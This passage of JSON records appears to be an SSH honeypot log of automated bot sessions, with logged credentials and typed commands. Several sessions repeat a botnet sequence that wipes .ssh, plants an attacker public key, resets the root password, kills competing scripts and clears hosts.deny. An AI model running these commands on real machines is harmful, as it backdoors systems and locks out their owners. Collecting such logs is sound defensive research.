0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:55:56.419399+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:55:57.263412+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:55:57.592441+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:55:58.463034+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:55:58.789379+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:55:59.576703+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:55:59.911787+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:56:00.904323+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:56:01.232649+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:56:03.099130+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Passw0rd@2026","method":"password","accepted":true,"tier":"other"}]} {"id":"dab3dbe7-afbc-45fe-8deb-966d823900b3","name":"barren-sooty-alpaca","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":47624,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:55:57.533245+00:00","ended_at":"2026-08-27T12:55:58.461546+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c82930b5-e157-46ee-bba4-38d1b2a9066d","name":"sincere-mindful-jaguar","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":44602,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:55:55.075378+00:00","ended_at":"2026-08-27T12:55:56.949734+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4a14eff5-6cc0-41d5-9fc0-4fa9df943ae4","name":"gallant-coral-goose","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59934,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":450,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:55:54.249532+00:00","ended_at":"2026-08-27T12:55:55.305917+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:55:32.767114+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:55:33.218105+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:55:37.759601+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:55:38.547187+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:55:38.995944+00:00","kind":"input","latency_ms":null,"data":"echo \"root:6cDpRNj8vxnL\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:55:39.443902+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:55:39.895156+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:55:40.797055+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:55:41.253461+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:55:42.182262+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:55:42.632535+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:55:43.994206+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:55:44.442077+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:55:45.222374+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:55:45.677971+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:55:46.362079+00:00","kind":"output","latency_ms":null,"data":" 12:55:46 up 7 days, 9:45, 0 user, load average: 0.1, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:55:46.812017+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:55:47.423484+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:55:47.873862+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:55:48.276074+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:55:48.731800+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:55:49.121025+00:00","kind":"output","latency_ms":null,"data":"top - 12:55:49 up 7 days, 9:45, 0 user, load average: 0.1, 0.08, 0.07\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:55:49.571434+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:55:50.049124+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:55:50.499362+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:55:51.039487+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:55:51.490349+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:55:51.850057+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:55:52.299421+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:55:53.801192+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:55:54.250252+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:55:55.167855+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456780","method":"password","accepted":true,"tier":"other"}]} {"id":"ba98acb4-89f9-4369-8938-ed25c5822d12","name":"whispering-jagged-pelican","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":53780,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:55:45.051749+00:00","ended_at":"2026-08-27T12:55:46.051405+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d78d1c00-7325-45f7-8a04-a760eea94a2f","name":"frank-chilly-walrus","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":53764,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:55:43.378544+00:00","ended_at":"2026-08-27T12:55:44.364004+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9be06f9c-e697-4fb9-b6f6-16da28a9537f","name":"silent-eager-albatross","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59958,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:55:36.145053+00:00","ended_at":"2026-08-27T12:55:37.131145+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d6d5b297-29a8-450f-a520-ee25e04a4dcf","name":"rugged-airy-salmon","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59942,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:55:34.263551+00:00","ended_at":"2026-08-27T12:55:35.244930+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"77fe352d-ca94-40a2-91d5-880dded9378e","name":"oaken-curious-sable","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":43992,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:54:14.420708+00:00","ended_at":"2026-08-27T12:54:15.991145+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:53:56.555827+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:53:56.854178+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:54:01.064824+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:54:01.419946+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:54:01.724552+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pfUELMtffuah\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:54:02.018746+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:54:02.319093+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:54:03.062144+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:54:03.363640+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:54:04.387579+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:54:04.693734+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:54:05.620619+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:54:05.921538+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:54:06.519738+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:54:06.817938+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:54:07.698555+00:00","kind":"output","latency_ms":null,"data":" 12:54:07 up 7 days, 9:44, 0 user, load average: 0.13, 0.16, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:54:07.999489+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:54:08.541498+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:54:08.841036+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:54:09.209639+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:54:09.508213+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:54:09.790104+00:00","kind":"output","latency_ms":null,"data":"top - 12:54:09 up 7 days, 9:44, 0 user, load average: 0.13, 0.16, 0.11\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:54:10.089150+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:54:10.827662+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:54:11.127163+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:54:11.498045+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:54:11.803918+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:54:12.543248+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:54:12.842284+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:54:14.122655+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:54:14.421668+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:54:15.906258+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"gb.123456","method":"password","accepted":true,"tier":"other"}]} {"id":"531cd024-fe1e-45ff-b7d0-72e35385721e","name":"fierce-freckled-owl","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":49812,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":349,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:54:05.492043+00:00","ended_at":"2026-08-27T12:54:07.607201+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:53:46.485330+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:53:46.831390+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:53:49.927927+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:53:50.507010+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:53:50.862293+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ycweyTQ686YA\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:53:51.209483+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:53:51.552703+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:53:52.218360+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:53:52.567730+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:53:53.481391+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:53:53.832526+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:53:55.264523+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:53:55.615444+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:53:56.298169+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:53:56.647168+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:53:56.995065+00:00","kind":"output","latency_ms":null,"data":" 12:53:56 up 7 days, 9:44, 0 user, load average: 0.29, 0.32, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:53:57.343274+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:53:58.216341+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:53:58.563277+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:53:59.357578+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:53:59.703457+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:54:00.101131+00:00","kind":"output","latency_ms":null,"data":"top - 12:54:00 up 7 days, 9:44, 0 user, load average: 0.29, 0.32, 0.29\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:54:00.447126+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:54:01.219406+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:54:01.567963+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:54:02.466471+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:54:02.820070+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:54:03.497132+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:54:03.844808+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:54:05.146223+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:54:05.493080+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:54:07.503065+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456Cc","method":"password","accepted":true,"tier":"other"}]} {"id":"f1020119-4ea4-4910-8fac-75f4eda3f84e","name":"cunning-quartz-saola","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":44012,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:53:59.189158+00:00","ended_at":"2026-08-27T12:54:00.976479+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1f235dfb-ce93-452f-9a97-6a180a7cbec5","name":"ruddy-tidal-cormorant","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":44008,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:53:57.540818+00:00","ended_at":"2026-08-27T12:53:58.592377+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f4ae9bdf-98aa-4d50-9031-a865cd7847d6","name":"wiry-crystal-skua","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":51566,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:53:49.222503+00:00","ended_at":"2026-08-27T12:53:49.824622+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2cd7726d-73f3-48fd-99cd-d1f621326136","name":"drifting-downy-rook","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":49822,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:53:47.582639+00:00","ended_at":"2026-08-27T12:53:48.574067+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7a2c05d7-d1f7-4927-b366-3ad898d3786c","name":"subtle-burly-goldcrest","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":50730,"username":"dev","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:53:29.475090+00:00","ended_at":"2026-08-27T12:53:30.458786+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"dev","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e99b7554-cd6d-4e29-b885-01eb13750ad8","name":"mottled-snowy-reindeer","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":50048,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:53:25.930406+00:00","ended_at":"2026-08-27T12:53:27.848701+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} 